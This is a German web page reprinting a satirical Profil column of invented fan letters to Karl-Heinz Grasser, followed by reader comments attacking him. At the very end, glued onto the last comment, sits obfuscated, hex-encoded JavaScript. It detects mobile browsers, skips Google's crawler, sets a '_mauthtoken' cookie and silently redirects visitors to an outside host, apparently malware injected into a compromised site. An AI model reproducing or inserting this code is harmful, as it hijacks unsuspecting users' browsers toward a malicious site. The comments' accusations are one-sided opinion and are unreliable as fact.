FANPOST
(Profil, 5.2.2011)
Rainer Nikowitz
Fanpost
Karl-Heinz Grasser sagt die Wahrheit: Der rührende Brief, den er im Fernsehen verlesen hat, war tatsächlich nur einer von Tausenden.
Verehrter Herr Minister!
Ich wende mich mit diesem verzweifelten Hilferuf an Sie, weil Sie meine letzte Hoffnung sind. Kein Arzt und kein Medikament konnten mich bislang von meinem schweren Leiden befreien. Aber wenn Sie mir, angebetete Lichtgestalt, nur einmal Ihre gesegnete Hand auf meinen kranken Körperteil legen könnten – dann wird alles gut. Das weiß ich so sicher, wie Barack Obama ein Alien vom Saturn ist, der hier die außerirdische Machtübernahme vorbereiten soll, und wie mein Sachwalter ein Verhältnis mit meiner verstorbenen Großmutter, der alten Hexe, hat. Ich flehe Sie an: Lassen Sie mich nicht im Stich!
Ernestine Gassner Wien
PS: Ich gelobe hiemit übrigens feierlich, mich sofort für Ihre Seligsprechung einzusetzen, sowie meine grauslichen, wild wuchernden und widerlich nässenden Hämorrhoiden weg sind!
Caro mio!
Als weltweit agierender Konzern (Sie können gern im Internet recherchieren, was wir wo so machen) sind wir seit Langem auf der Suche nach einem Werbetestimonial, das unsere Zielsetzungen perfekt verkörpert. Nun sind wir fündig geworden – und zwar bei Ihnen. Wir sind von Ihren Talenten ausgesprochen beeindruckt und dementsprechend sehr interessiert, Sie unter Vertrag zu nehmen, am besten langfristig. Außerdem wären wir Ihnen sehr verbunden, wenn Sie uns bei Gelegenheit Ihre hochinteressante Stiftungskonstruktion in Liechtenstein näher erklären könnten.
Don Nittigritti Napoli
Lieber Freund,
es vergeht kein Tag, an dem ich nicht mit Wehmut, aber auch unbändigem Stolz an unsere schöne gemeinsame Zeit zurückdenke. Was wir alles geleistet haben! Und zwar nicht zuletzt uns! Wenn es uns nicht gäbe, müsste man uns echt noch erfinden. Jedenfalls schreibe ich dir, um dir auf diesem Weg nochmals zu versichern, dass nichts und niemand meine eherne Loyalität zu dir und deinen Leistungen untergraben kann. Außer vielleicht ein Eurofighter-Untersuchungsausschuss, der den Namen auch verdient. Halt die Ohren steif!
Dein Wolfi
Sehr geehrter Herr Grasser!
Ich freue mich, Ihnen namens des Nobelpreiskomitees mitteilen zu dürfen, dass Sie nach Ihrer ebenso logischen wie überfälligen Nominierung für den Wirtschaftsnobelpreis – den Sie, wenn Sie mir diese persönliche Anmerkung erlauben, schon jetzt absolut sicher in der Tasche haben – nunmehr auch für den Friedens- und den Literaturnobelpreis vorgeschlagen wurden. Natürlich verstehen es auch andere hervorragende Persönlichkeiten unserer Zeit, anderen die Hände zu reichen – bei Ihnen imponiert aber zusätzlich die blitzschnelle gegenseitige Waschung derselben. Und was die Literatur betrifft: Diese erstaunlichen Protokolle, die Sie federführend mitproduziert haben, bilden die entsetzliche Verkommenheit der postkulturellen Beliebigkeitsgesellschaft auf dermaßen erschreckend plastische Weise ab, dass der Jelinek’sche Weltekel dagegen zur Kinderjause verkommt.
Olaf Smörrebröd Stockholm
Hey KHG,
ich fahr jetzt voll nicht mehr auf den Justin Bieber ab, seit ich dir im Fernsehen gefernseht habe. Du schaust urlieb aus, und wenn du bei die nächsten Helden von morgen mitsingst, schick ich voll viele SMS für dich. Und der Patrick darf mir nicht mehr im Bus die Hand in die Jean stecken, weil ich jetzt mit dir gehen will. Nur deine Frau müssen wir noch loswerden, die ist ja bitte voll gestört. Kannst du sie nicht einfach in ein Altersheim geben?
Kisses Chantal
Blutwurst an Strapsgürtel!
Das Rotkehlchen tanzt Tango. Die Spiegeleier liegen am Korallenriff. Der Schnee ist türkis und singt Mozart. Übermorgen ist Mango, aber nur bis mittags um acht.
M. Eischi
PS: Ich verwende übrigens ein Pseudonym, weil vielleicht wird dieser Brief auch abgehört!
Lieber Karl-Heinz,
verzeih mir, dass ich diese vertraute Anrede verwende, obwohl du nicht einmal weißt, wo ich wohne. Ich habe lange überlegt, ob ich dir nach all den Jahren des Schweigens schreiben soll, auch, weil ich mir nicht sicher bin, ob es dir nicht zum Nachteil gereicht, wenn die wichtige Information, die ich dir gleich geben werde, publik werden sollte. Schließlich ist eine ähnliche Angelegenheit bedauerlicherweise schon vor 2000 Jahren einmal schlecht ausgegangen, wiewohl ich dir versichern kann, dass die Öffentlichkeit damals einem Scharlatan aufgesessen ist. Denn die Sache ist die: Ja, ich habe tatsächlich einen Sohn. Und nein, dieser Jesus ist es nicht.
In Liebe Papa
rainer.nikowitz@profil.at
Dem KHG kann man nicht mehr ernst nehmen, will man nicht als Tölpel gelten
Typisch Karl-Heinz Grasser ist das: Zuerst lässt er kein Fettnäpfchen aus und tritt in jedes, das man für ihn bereit hält. Dann beklagt sich dieser Berlusconi-Verschnitt jedesmal heftig darüber, dass deswegen bereits ganz Österreich über ihn lacht. Regelmäßig verkommen daher auch seine Fernseh-Auftritte zu Lachnummern. Dass diesen Mann niemand mehr ernst nehmen kann, ohne sich dem Verdacht auszusetzen, ein Tölpel zu sein, ist eine Folge davon.
Ein anderes Mal wiederum beklagt er sich geradezu weinerlich, dass seine Verfahren gar so lang dauern, vergisst aber wohlweislich darauf, auch zu sagen, dass er selbst der Grund dafür ist.
Grob fahrlässig ist es, dem KHG auch nur ein Wort zu glauben….
Geflunkert hat er als Finanzminister nicht wenig, sodass es geradezu grob fahrlässig wäre, auch nur eines seiner Wörter als bare Münze zu nehmen, ohne es vorher auf seinen Wahrheitsgehalt abgeklopft zu haben. Das dauert dann eben. Nur um den Unterhalt von seinen Hunden, der Frau und den Kindern abzusichern, hat er in Liechtenstein, so sagt er, ein Firmengeflecht um sich herum aufbauen lassen mit Bankverbindungen rund um den Erdball und auch nach Zypern, wo auch seine engsten Freunde, der Trauzeuge Meischberger, sein derzeitiger Kompagnon, der Plech, den er zum Aufsichtsrats- Vorsitzenden der Buwog gemacht hat und der Hochegger über Briefkastenfirmen und die dazu gehörenden Bankkonten verfügen.
Zufälle gibt es also, die es eigentlich der Wahrscheinlichkeit nach nicht geben sollte.
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Wenn Österreich Burundi ist, haben das Schüssel u. KHG zu verantworten
Weil Österreich nach Meinung Grassers bereits Burundi ist, will sich KHG nun mit einer Beschwerde an den Europäischen Gerichtshof für Menschenrechte wenden. Hoffentlich vergisst er dabei nicht einen doch recht wesentlichen Punkt. Und zwar den, dass er und der Schüssel es waren, die das Fundament dazu legten, dass es so weit kam und unser Land tatsächlich auf das Niveau einer Bananenrepublik abgesackt ist.
KHG wäre als Vizekanzler u. FM eine Katastrophe für Österreich geworden
Grassers Ex-Verlobte Natalia Corrales-Diez kann sich glücklich schätzen, dass sie mit diesem Gockel, dem Karl-Heinz Grasser, den Wolfgang Schüssel zum fähigsten Finanzminister Österreichs hochstilisierte, was weit weniger über Grasser selbst aussagt, aber dafür umso mehr über Schüssels Menschenkenntnis, Frau Corrales-Diez, kann also froh sein, dass sie mit Grasser nichts mehr zu tun hat und an ihn nicht einmal mehr anzustreifen braucht.
Für uns Österreicher/innen war hingegen Univ.-Professor Andreas Khol ein absoluter Glücksfall, der es entgegen dem erklärten Willen Wolfgang Schüssels durchgesetzt hat, dass der ÖVP-Parteivorstand den KHG in die Wüste geschickt hat. So ist unser Land einer Katastrophe entgangen, die KHG als Vizekanzler und Finanzminister sicher für uns geworden wäre.
Was wir alles geleistet haben! Und zwar nicht zuletzt uns!
Der mit dem Wolfi war echt hinreißend. Die Frage ist nur: Dürfen“s denn das?
Beißender Zynismus ist das Gegenmittel gegen Grassers Überheblichkeit
Bravo, Herr Nikowitz! Sie zeigen den Weg auf, wie man diesem eingebildeten Pimpf vermutlich am besten beikommen kann. Ihn, gemessen an seinen Aussagen, in seiner ganzen Armseligkeit darzustellen, trifft den „besten FM“ sicher mehr, als mit neuen Enthüllungen an die Öffentlichkeit zu gehen. Denn wenn nur ein Teil davon stimmt, was wir bisher über ihn erfahren haben, müsste das für die Höchststrafe ausreichen, die ihm ein Gericht aufbrummen kann.
Vorbei ist die Zeit, wo man in Verbindung mit Grasser noch von Unschuldsvermutung sprechen konnte, da ganz ordinär sich selbst belügen müsste, der das noch ernsthaft glaubt. Recht dreckig ist seine blütenweiße Weste nämlich schon geworden. Nur will er das immer noch nicht wahrhaben, zu gestört ist sein supersauberes Gewissen bereits.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}